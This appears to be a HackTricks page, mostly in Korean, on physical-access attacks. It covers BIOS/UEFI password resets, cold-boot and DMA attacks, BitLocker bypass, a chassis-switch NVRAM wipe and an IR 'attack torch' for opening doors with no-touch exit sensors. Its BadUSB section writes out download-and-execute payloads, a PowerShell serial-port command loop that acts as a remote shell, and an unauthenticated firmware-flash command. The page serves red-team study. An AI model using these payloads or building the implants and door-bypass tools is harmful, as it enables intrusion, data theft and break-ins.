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AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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BIOS Password Recovery and System Security

Resetting the BIOS์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๋ฉ”์ธ๋ณด๋“œ์—๋Š” ๋ฐฐํ„ฐ๋ฆฌ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์•ฝ 30๋ถ„ ์ •๋„ ์ œ๊ฑฐํ•˜๋ฉด ์•”ํ˜ธ๋ฅผ ํฌํ•จํ•œ BIOS ์„ค์ •์ด ์ดˆ๊ธฐํ™”๋ฉ๋‹ˆ๋‹ค. ๋Œ€์•ˆ์œผ๋กœ๋Š” ๋ฉ”์ธ๋ณด๋“œ์˜ ์ ํผ๋ฅผ ์กฐ์ •ํ•˜์—ฌ ํŠน์ • ํ•€์„ ์—ฐ๊ฒฐํ•จ์œผ๋กœ์จ ์ด๋Ÿฌํ•œ ์„ค์ •์„ ์ดˆ๊ธฐํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•˜๋“œ์›จ์–ด ์กฐ์ •์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ์‹ค์šฉ์ ์ด์ง€ ์•Š์€ ์ƒํ™ฉ์—์„œ๋Š” ์†Œํ”„ํŠธ์›จ์–ด ๋„๊ตฌ๊ฐ€ ํ•ด๊ฒฐ์ฑ…์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Kali Linux์™€ ๊ฐ™์€ ๋ฐฐํฌํŒ์˜ Live CD/USB๋กœ ์‹œ์Šคํ…œ์„ ๋ถ€ํŒ…ํ•˜๋ฉด **killCmos**์™€ CmosPWD ๊ฐ™์€ ๋„๊ตฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด BIOS ์•”ํ˜ธ ๋ณต๊ตฌ์— ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

BIOS ์•”ํ˜ธ๋ฅผ ๋ชจ๋ฅด๋Š” ๊ฒฝ์šฐ, ํ‹€๋ฆฌ๊ฒŒ ์ž…๋ ฅํ•˜๋ฉด ๋ณดํ†ต ์„ธ ๋ฒˆ ์ž…๋ ฅ ํ›„ ์˜ค๋ฅ˜ ์ฝ”๋“œ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜ ์ฝ”๋“œ๋Š” https://bios-pw.org ๊ฐ™์€ ์›น์‚ฌ์ดํŠธ์— ์ž…๋ ฅํ•ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์•”ํ˜ธ๋ฅผ ์–ป๋Š” ๋ฐ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UEFI Security

์ „ํ†ต์ ์ธ BIOS ๋Œ€์‹  UEFI๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์ตœ์‹  ์‹œ์Šคํ…œ์—์„œ๋Š” chipsec ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ UEFI ์„ค์ •์„ ๋ถ„์„ํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Secure Boot ๋น„ํ™œ์„ฑํ™” ๊ฐ™์€ ์ž‘์—…๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

python chipsec_main.py -module exploits.secure.boot.pk

RAM Analysis and Cold Boot Attacks

RAM์€ ์ „์›์ด ์ฐจ๋‹จ๋œ ํ›„์—๋„ ์งง๊ฒŒ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ ์ง€๋˜๋ฉฐ, ๋ณดํ†ต 1 to 2 minutes ์ •๋„ ์ง€์†๋ฉ๋‹ˆ๋‹ค. ์•ก์ฒด ์งˆ์†Œ ๊ฐ™์€ ์ฐจ๊ฐ€์šด ๋ฌผ์งˆ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ด ์ง€์† ์‹œ๊ฐ„์„ 10 minutes๊นŒ์ง€ ์—ฐ์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์—ฐ์žฅ๋œ ๊ธฐ๊ฐ„ ๋™์•ˆ memory dump๋ฅผ ์ƒ์„ฑํ•˜์—ฌ dd.exe, volatility์™€ ๊ฐ™์€ ๋„๊ตฌ๋กœ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Direct Memory Access (DMA) Attacks

INCEPTION์€ DMA๋ฅผ ํ†ตํ•ด ๋ฌผ๋ฆฌ์  ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•˜๋„๋ก ์„ค๊ณ„๋œ ๋„๊ตฌ๋กœ, FireWire๋‚˜ Thunderbolt ๊ฐ™์€ ์ธํ„ฐํŽ˜์ด์Šค์™€ ํ˜ธํ™˜๋ฉ๋‹ˆ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํŒจ์น˜ํ•ด ์–ด๋–ค ๋น„๋ฐ€๋ฒˆํ˜ธ๋“  ํ†ต๊ณผํ•˜๋„๋ก ๋งŒ๋“ค์–ด ๋กœ๊ทธ์ธ ์ ˆ์ฐจ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ Windows 10 ์‹œ์Šคํ…œ์—๋Š” ํšจ๊ณผ์ ์ด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.


Live CD/USB for System Access

**sethc.exe**๋‚˜ Utilman.exe ๊ฐ™์€ ์‹œ์Šคํ…œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ cmd.exe ๋ณต์‚ฌ๋ณธ์œผ๋กœ ๊ต์ฒดํ•˜๋ฉด ์‹œ์Šคํ…œ ๊ถŒํ•œ์˜ ๋ช…๋ น ํ”„๋กฌํ”„ํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. chntpw ๊ฐ™์€ ๋„๊ตฌ๋กœ Windows ์„ค์น˜์˜ SAM ํŒŒ์ผ์„ ํŽธ์ง‘ํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

Kon-Boot์€ Windows ์ปค๋„์ด๋‚˜ UEFI๋ฅผ ์ผ์‹œ์ ์œผ๋กœ ์ˆ˜์ •ํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ชจ๋ฅด๋Š” ์ƒํƒœ์—์„œ๋„ Windows์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.raymond.cc์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Handling Windows Security Features

Boot and Recovery Shortcuts

  • Supr: BIOS ์„ค์ •์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.
  • F8: Recovery ๋ชจ๋“œ๋กœ ์ง„์ž…ํ•ฉ๋‹ˆ๋‹ค.
  • Windows ๋ฐฐ๋„ˆ ์ดํ›„์— Shift๋ฅผ ๋ˆ„๋ฅด๋ฉด autologon์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

BAD USB Devices

Rubber Ducky, Teensyduino ๊ฐ™์€ ์žฅ์น˜๋Š” bad USB ์žฅ์น˜๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•œ ํ”Œ๋žซํผ์œผ๋กœ, ๋Œ€์ƒ ์ปดํ“จํ„ฐ์— ์—ฐ๊ฒฐ๋˜๋ฉด ๋ฏธ๋ฆฌ ์ •์˜๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Volume Shadow Copy

๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํ†ตํ•ด PowerShell๋กœ SAM ํŒŒ์ผ์„ ํฌํ•จํ•œ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์˜ ๋ณต์‚ฌ๋ณธ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

BadUSB / HID Implant Techniques

Wi-Fi managed cable implants

  • ESP32-S3 ๊ธฐ๋ฐ˜ ์ž„ํ”Œ๋ž€ํŠธ(์˜ˆ: Evil Crow Cable Wind)๋Š” USB-Aโ†’USB-C ๋˜๋Š” USB-Cโ†”USB-C ์ผ€์ด๋ธ” ์•ˆ์— ์ˆจ๊ฒจ์ ธ ์ˆœ์ˆ˜ํ•˜๊ฒŒ USB ํ‚ค๋ณด๋“œ๋กœ๋งŒ ์—ด๊ฑฐ๋˜๋ฉฐ, C2 ์Šคํƒ์„ Wi-Fi๋กœ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์šด์˜์ž๋Š” ํ”ผํ•ด์ž ํ˜ธ์ŠคํŠธ์—์„œ ์ผ€์ด๋ธ”์— ์ „์›๋งŒ ๊ณต๊ธ‰ํ•˜๋ฉด ๋˜๊ณ , Evil Crow Cable Wind๋ผ๋Š” ์ด๋ฆ„์˜ ํ•ซ์ŠคํŒŸ(password: 123456789)์„ ๋งŒ๋“  ๋’ค http://cable-wind.local/ (๋˜๋Š” ํ• ๋‹น๋œ DHCP ์ฃผ์†Œ)๋กœ ์ ‘์†ํ•ด ๋‚ด์žฅ HTTP ์ธํ„ฐํŽ˜์ด์Šค์— ์ ‘๊ทผํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.
  • ๋ธŒ๋ผ์šฐ์ € UI์—๋Š” Payload Editor, Upload Payload, List Payloads, AutoExec, Remote Shell, Config ํƒญ์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ €์žฅ๋œ ํŽ˜์ด๋กœ๋“œ๋Š” OS๋ณ„๋กœ ํƒœ๊น…๋˜๋ฉฐ, ํ‚ค๋ณด๋“œ ๋ ˆ์ด์•„์›ƒ์€ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์ „ํ™˜๋˜๊ณ  VID/PID ๋ฌธ์ž์—ด์„ ๋ณ€๊ฒฝํ•ด ์•Œ๋ ค์ง„ ์ฃผ๋ณ€๊ธฐ๊ธฐ๋ฅผ ํ‰๋‚ด ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • C2๊ฐ€ ์ผ€์ด๋ธ” ๋‚ด๋ถ€์— ์žˆ์œผ๋ฏ€๋กœ, ํฐ์œผ๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ค€๋น„ํ•˜๊ณ  ์‹คํ–‰์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉฐ Wi-Fi ์ž๊ฒฉ์ฆ๋ช…์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์–ด ํ˜ธ์ŠคํŠธ OS์— ์ ‘๊ทผํ•˜์ง€ ์•Š๊ณ ๋„ ์งง์€ ์นจํˆฌ ์‹œ๊ฐ„์— ์œ ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

OS-aware AutoExec payloads

  • AutoExec ๊ทœ์น™์€ USB ์—ด๊ฑฐ ์งํ›„ ํ•˜๋‚˜ ์ด์ƒ์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฆ‰์‹œ ์‹คํ–‰ํ•˜๋„๋ก ๋ฐ”์ธ๋”ฉํ•ฉ๋‹ˆ๋‹ค. ์ž„ํ”Œ๋ž€ํŠธ๋Š” ๊ฐ€๋ฒผ์šด OS ์ง€๋ฌธ ์ธ์‹์„ ์ˆ˜ํ–‰ํ•ด ์ผ์น˜ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ์‹œ ์›Œํฌํ”Œ๋กœ์šฐ:
  • Windows: GUI r โ†’ powershell.exe โ†’ STRING powershell -nop -w hidden -c "iwr http://10.0.0.1/drop.ps1|iex" โ†’ ENTER.
  • macOS/Linux: COMMAND SPACE (Spotlight) ๋˜๋Š” CTRL ALT T (terminal) โ†’ STRING curl -fsSL http://10.0.0.1/init.sh | bash โ†’ ENTER.
  • ์‹คํ–‰์ด ๋ฌด์ธ์œผ๋กœ ์ด๋ฃจ์–ด์ง€๊ธฐ ๋•Œ๋ฌธ์— ๋‹จ์ˆœํžˆ ์ถฉ์ „ ์ผ€์ด๋ธ”์„ ๊ต์ฒดํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ์—์„œ โ€œplug-and-pwnโ€ ์ดˆ๊ธฐ ์ ‘๊ทผ์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HID-bootstrapped remote shell over Wi-Fi TCP

  1. Keystroke bootstrap: ์ €์žฅ๋œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ฝ˜์†”์„ ์—ด๊ณ  ์ƒˆ USB ์ง๋ ฌ ์žฅ์น˜๋กœ ๋“ค์–ด์˜ค๋Š” ๋‚ด์šฉ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฃจํ”„๋ฅผ ๋ถ™์—ฌ๋„ฃ์Šต๋‹ˆ๋‹ค. ์ตœ์†Œํ•œ์˜ Windows ๋ณ€ํ˜•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
$port=New-Object System.IO.Ports.SerialPort 'COM6',115200,'None',8,'One'
$port.Open(); while($true){$cmd=$port.ReadLine(); if($cmd){Invoke-Expression $cmd}}
  1. Cable bridge: ์ž„ํ”Œ๋ž€ํŠธ๋Š” USB CDC ์ฑ„๋„์„ ์—ด๋ฆฐ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋Š” ๋™์•ˆ ESP32-S3๊ฐ€ operator ์ชฝ์œผ๋กœ TCP client (Python script, Android APK, or desktop executable)๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. TCP session์— ์ž…๋ ฅ๋œ ๋ฐ”์ดํŠธ๋Š” ์œ„์˜ serial ๋ฃจํ”„์— ์ „๋‹ฌ๋˜์–ด air-gapped ํ˜ธ์ŠคํŠธ์—์„œ๋„ remote command execution์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ถœ๋ ฅ์ด ์ œํ•œ์ ์ด์–ด์„œ ์šด์˜์ž๋Š” ๋ณดํ†ต blind commands (account creation, staging additional tooling, etc.)๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

HTTP OTA update surface

  • ๋™์ผํ•œ web stack์€ ๋ณดํ†ต ์ธ์ฆ๋˜์ง€ ์•Š์€ firmware ์—…๋ฐ์ดํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. Evil Crow Cable Wind๋Š” /update๋ฅผ ๋ฆฌ์Šค๋‹ํ•˜๊ณ  ์—…๋กœ๋“œ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ํ”Œ๋ž˜์‹œํ•ฉ๋‹ˆ๋‹ค:
curl -F "file=@firmware.ino.bin" http://cable-wind.local/update
  • ํ˜„์žฅ ์šด์˜์ž๋Š” ์ผ€์ด๋ธ”์„ ์—ด์ง€ ์•Š๊ณ ๋„ ๊ต์ „ ์ค‘๊ฐ„์— ๊ธฐ๋Šฅ์„ hot-swapํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ(์˜ˆ: USB Army Knife ํŽŒ์›จ์–ด๋ฅผ flash), implant๊ฐ€ ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์— ๊ณ„์† ์—ฐ๊ฒฐ๋œ ์ƒํƒœ์—์„œ ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์œผ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

BitLocker ์•”ํ˜ธํ™” ์šฐํšŒ

BitLocker ์•”ํ˜ธํ™”๋Š” ๋ฉ”๋ชจ๋ฆฌ ๋คํ”„ ํŒŒ์ผ(MEMORY.DMP) ๋‚ด์—์„œ recovery password๊ฐ€ ๋ฐœ๊ฒฌ๋  ๊ฒฝ์šฐ ์ž ์žฌ์ ์œผ๋กœ ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•ด Elcomsoft Forensic Disk Decryptor ๋˜๋Š” Passware Kit Forensic ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.


๋ณต๊ตฌ ํ‚ค ์ถ”๊ฐ€๋ฅผ ์œ„ํ•œ ์†Œ์…œ ์—”์ง€๋‹ˆ์–ด๋ง

์ƒˆ BitLocker ๋ณต๊ตฌ ํ‚ค๋Š” ์†Œ์…œ ์—”์ง€๋‹ˆ์–ด๋ง ์ „์ˆ ์„ ํ†ตํ•ด ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋ชจ๋“  ๊ฐ’์ด 0์œผ๋กœ ๊ตฌ์„ฑ๋œ ์ƒˆ ๋ณต๊ตฌ ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ์„ค๋“ํ•˜๋ฉด ๋ณตํ˜ธํ™” ๊ณผ์ •์ด ๋‹จ์ˆœํ™”๋œ๋‹ค.


Chassis Intrusion / Maintenance Switches๋ฅผ ์ด์šฉํ•ด BIOS๋ฅผ ๊ณต์žฅ ์ดˆ๊ธฐํ™”๋กœ ๋˜๋Œ๋ฆฌ๊ธฐ

๋งŽ์€ ์ตœ์‹  ๋…ธํŠธ๋ถ ๋ฐ ์†Œํ˜• ๋ฐ์Šคํฌํƒ‘์—๋Š” Embedded Controller(EC)์™€ BIOS/UEFI firmware์—์„œ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” chassis-intrusion switch๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค. ์Šค์œ„์น˜์˜ ์ฃผ ๋ชฉ์ ์€ ์žฅ์น˜๊ฐ€ ์—ด๋ ธ์„ ๋•Œ ๊ฒฝ๊ณ ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์ด์ง€๋งŒ, ๋ฒค๋”๋Š” ๋•Œ๋•Œ๋กœ ์Šค์œ„์น˜๋ฅผ ํŠน์ • ํŒจํ„ด์œผ๋กœ ํ† ๊ธ€ํ•  ๋•Œ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” undocumented recovery shortcut์„ ๊ตฌํ˜„ํ•˜๊ธฐ๋„ ํ•œ๋‹ค.

๊ณต๊ฒฉ ์ž‘๋™ ๋ฐฉ์‹

  1. ์Šค์œ„์น˜๋Š” EC์˜ GPIO interrupt์— ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋‹ค.
  2. EC์—์„œ ์‹คํ–‰๋˜๋Š” ํŽŒ์›จ์–ด๋Š” timing and number of presses๋ฅผ ์ถ”์ ํ•œ๋‹ค.
  3. ํ•˜๋“œ์ฝ”๋”ฉ๋œ ํŒจํ„ด์ด ์ธ์‹๋˜๋ฉด EC๋Š” mainboard-reset ๋ฃจํ‹ด์„ ํ˜ธ์ถœํ•˜์—ฌ ์‹œ์Šคํ…œ NVRAM/CMOS์˜ ๋‚ด์šฉ์„ ์‚ญ์ œํ•œ๋‹ค.
  4. ๋‹ค์Œ ๋ถ€ํŒ… ์‹œ BIOS๋Š” ๊ธฐ๋ณธ๊ฐ’์„ ๋กœ๋“œํ•œ๋‹ค โ€“ supervisor password, Secure Boot keys, ๋ฐ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ •์˜ ์„ค์ •์ด ์ดˆ๊ธฐํ™”๋œ๋‹ค.

Secure Boot๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜๊ณ  firmware password๊ฐ€ ์‚ฌ๋ผ์ง€๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ ์™ธ๋ถ€ OS ์ด๋ฏธ์ง€๋ฅผ ๋ถ€ํŒ…ํ•˜์—ฌ ๋‚ด๋ถ€ ๋“œ๋ผ์ด๋ธŒ์— ๋Œ€ํ•œ ๋ฌด์ œํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

์‹ค์‚ฌ์šฉ ์‚ฌ๋ก€ โ€“ Framework 13 Laptop

Framework 13(11th/12th/13th-gen)์— ๋Œ€ํ•œ recovery shortcut์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

Press intrusion switch  โ†’  hold 2 s
Release                 โ†’  wait 2 s
(repeat the press/release cycle 10ร— while the machine is powered)

After the tenth cycle the EC sets a flag that instructs the BIOS to wipe NVRAM at the next reboot. The whole procedure takes ~40 s and requires nothing but a screwdriver.

Generic Exploitation Procedure

  1. Power-on or suspend-resume the target so the EC is running.
  2. Remove the bottom cover to expose the intrusion/maintenance switch.
  3. Reproduce the vendor-specific toggle pattern (consult documentation, forums, or reverse-engineer the EC firmware).
  4. Re-assemble and reboot โ€“ firmware protections should be disabled.
  5. Boot a live USB (e.g. Kali Linux) and perform usual post-exploitation (credential dumping, data exfiltration, implanting malicious EFI binaries, etc.).

Detection & Mitigation

  • Log chassis-intrusion events in the OS management console and correlate with unexpected BIOS resets.
  • Employ tamper-evident seals on screws/covers to detect opening.
  • Keep devices in physically controlled areas; assume that physical access equals full compromise.
  • Where available, disable the vendor โ€œmaintenance switch resetโ€ feature or require an additional cryptographic authorisation for NVRAM resets.

Covert IR Injection Against No-Touch Exit Sensors

Sensor Characteristics

  • Commodity โ€œwave-to-exitโ€ sensors pair a near-IR LED emitter with a TV-remote style receiver module that only reports logic high after it has seen multiple pulses (~4โ€“10) of the correct carrier (โ‰ˆ30โ€ฏkHz).
  • A plastic shroud blocks the emitter and receiver from looking directly at each other, so the controller assumes any validated carrier came from a nearby reflection and drives a relay that opens the door strike.
  • Once the controller believes a target is present it often changes the outbound modulation envelope, but the receiver keeps accepting any burst that matches the filtered carrier.

Attack Workflow

  1. Capture the emission profile โ€“ clip a logic analyser across the controller pins to record both the pre-detection and post-detection waveforms that drive the internal IR LED.
  2. Replay only the โ€œpost-detectionโ€ waveform โ€“ remove/ignore the stock emitter and drive an external IR LED with the already-triggered pattern from the outset. Because the receiver only cares about pulse count/frequency, it treats the spoofed carrier as a genuine reflection and asserts the relay line.
  3. Gate the transmission โ€“ transmit the carrier in tuned bursts (e.g., tens of milliseconds on, similar off) to deliver the minimum pulse count without saturating the receiverโ€™s AGC or interference handling logic. Continuous emission quickly desensitises the sensor and stops the relay from firing.

Long-Range Reflective Injection

  • Replacing the bench LED with a high-power IR diode, MOSFET driver, and focusing optics enables reliable triggering from ~6โ€ฏm away.
  • The attacker does not need line-of-sight to the receiver aperture; aiming the beam at interior walls, shelving, or door frames that are visible through glass lets reflected energy enter the ~30ยฐ field of view and mimics a close-range hand wave.
  • Because the receivers expect only weak reflections, a much stronger external beam can bounce off multiple surfaces and still remain above the detection threshold.

Weaponised Attack Torch

  • Embedding the driver inside a commercial flashlight hides the tool in plain sight. Swap the visible LED for a high-power IR LED matched to the receiverโ€™s band, add an ATtiny412 (or similar) to generate the โ‰ˆ30โ€ฏkHz bursts, and use a MOSFET to sink the LED current.
  • A telescopic zoom lens tightens the beam for range/precision, while a vibration motor under MCU control gives haptic confirmation that modulation is active without emitting visible light.
  • Cycling through several stored modulation patterns (slightly different carrier frequencies and envelopes) increases compatibility across rebranded sensor families, letting the operator sweep reflective surfaces until the relay audibly clicks and the door releases.

References

Tip

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